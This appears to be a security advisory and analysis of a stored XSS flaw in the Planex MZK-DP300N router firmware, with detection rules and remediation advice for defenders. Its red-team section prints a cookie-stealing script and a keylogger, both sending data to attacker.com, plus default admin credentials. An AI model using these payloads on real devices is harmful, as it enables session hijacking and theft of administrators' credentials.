CVE-2025-21603

Executive Summary

CVE-2025-21603 is a stored Cross-Site Scripting (XSS) vulnerability affecting the Planex MZK-DP300N router firmware versions 1.05 and earlier. An authenticated attacker with administrative privileges can inject malicious scripts into device settings. When a legitimate administrator accesses a crafted URL, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further internal network compromise. The vulnerability has a CVSS score of 4.8 (Medium), with a low EPSS probability (0.0%), indicating limited active exploitation in the wild. No public proof-of-concept or exploit code is available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device (Planex MZK-DP300N router). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): High (H) – The attacker must have administrative access to the device.
• User Interaction (UI): Required (R) – The victim must click a crafted URL.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. Exploitation requires authenticated access, reducing the attack surface. However, if an attacker gains admin credentials (e.g., via default passwords or brute force), they can execute arbitrary JavaScript in the context of other administrators.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the MZK-DP300N router. The device does not properly sanitize user-supplied input when modifying configuration parameters (e.g., SSID, admin username, or custom fields). An authenticated attacker can inject malicious JavaScript code into these fields. When another administrator (or the same attacker) accesses a crafted URL that triggers the display of the injected data, the script executes in the browser.

Root Cause: Lack of output encoding and input validation in the firmware's web server. The application reflects user-controlled data without escaping HTML entities.

Attack Flow:

1. Attacker logs into the router's admin panel (e.g., using default credentials admin/admin).
2. Attacker navigates to a vulnerable settings page (e.g., Wireless Settings > SSID).
3. Attacker injects a payload like <script>alert('XSS')</script> into the SSID field.
4. Attacker saves the configuration.
5. Attacker crafts a URL that triggers the display of the SSID (e.g., /status.asp).
6. Victim (another admin) clicks the URL while logged into the router.
7. The injected script executes in the victim's browser, potentially stealing session cookies or performing actions on their behalf.

Vulnerable vs. Patched Code

No patched firmware version is available. The vulnerable code is embedded in the router's binary firmware. Below is a conceptual representation of the vulnerable and patched logic.

Vulnerable Code (Conceptual - C):

void handle_settings() {
    char ssid[64];
    get_parameter("ssid", ssid, sizeof(ssid));
    // Directly output without sanitization
    printf("<div>SSID: %s</div>", ssid);
}

Patched Code (Conceptual - C):

#include <string.h>
#include <ctype.h>

void sanitize_html(char *input, char *output, size_t out_size) {
    size_t j = 0;
    for (size_t i = 0; input[i] != '\0' && j < out_size - 1; i++) {
        switch (input[i]) {
            case '<': output[j++] = '&'; output[j++] = 'l'; output[j++] = 't'; output[j++] = ';'; break;
            case '>': output[j++] = '&'; output[j++] = 'g'; output[j++] = 't'; output[j++] = ';'; break;
            case '&': output[j++] = '&'; output[j++] = 'a'; output[j++] = 'm'; output[j++] = 'p'; output[j++] = ';'; break;
            case '"': output[j++] = '&'; output[j++] = 'q'; output[j++] = 'u'; output[j++] = 'o'; output[j++] = 't'; output[j++] = ';'; break;
            default: output[j++] = input[i];
        }
    }
    output[j] = '\0';
}

void handle_settings() {
    char ssid[64];
    char safe_ssid[256];
    get_parameter("ssid", ssid, sizeof(ssid));
    sanitize_html(ssid, safe_ssid, sizeof(safe_ssid));
    printf("<div>SSID: %s</div>", safe_ssid);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Planex MZK-DP300N router with firmware <= 1.05.
• Administrative credentials (default: admin/admin).

Steps:

1. Log in to the router's web interface (e.g., http://192.168.1.1).
2. Navigate to Wireless Settings > Basic.
3. In the SSID field, inject the following payload:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. Click Apply to save.
5. Craft a URL that triggers the display of the SSID (e.g., http://192.168.1.1/status.asp).
6. Send this URL to a victim administrator (e.g., via email or social engineering).
7. When the victim clicks the URL while logged in, their session cookie is exfiltrated to attacker.com.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team

Detection:

• Monitor for unusual SSID values containing <script>, onerror, or javascript:.
• Alert on multiple failed login attempts followed by configuration changes.
• Use network monitoring to detect outbound connections to unknown domains from the router.

Hunting:

• Query router logs for changes to SSID or admin username fields.
• Check for HTTP requests to /status.asp or similar pages from unusual IPs.

Mitigation:

• Isolate the router management interface to a dedicated VLAN.
• Enforce strong, unique passwords for admin accounts.
• Disable remote management if not required.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS requests to unknown IPs or domains from the router.
  • Suspicious URLs containing ?cookie= or ?key= in query strings.
• Host (Router):
  • SSID containing HTML/JavaScript code (e.g., <script> tags).
  • Modified admin username or password fields with script content.
• Logs:
  • Repeated configuration changes from a single IP.
  • Access to /status.asp or /wireless.asp from non-admin IPs.

Detection Engineering

YARA Rule

rule CVE_2025_21603_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Planex MZK-DP300N"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-21603"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-21603 XSS Attempt on Planex MZK-DP300N
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in HTTP requests to Planex MZK-DP300N router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin interface (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-21603 XSS Payload in SSID Field";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"ssid="; http_client_body;
    content:"<script>"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-21603;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Immediately change the admin password to a strong, unique value.
2. Disable Remote Management: If not required, disable WAN-side access to the router's web interface.
3. Network Segmentation: Place the router in a separate VLAN with restricted access to the management interface.

Long-Term Fix:

• No official patch is available. Contact Planex support for updates or consider replacing the device with a supported alternative.
• Implement a Web Application Firewall (WAF) in front of the router to filter XSS payloads.

Workaround:

• Manually sanitize input by avoiding special characters in SSID and other fields.
• Use a reverse proxy (e.g., Nginx) to filter malicious requests before they reach the router.

Valters IT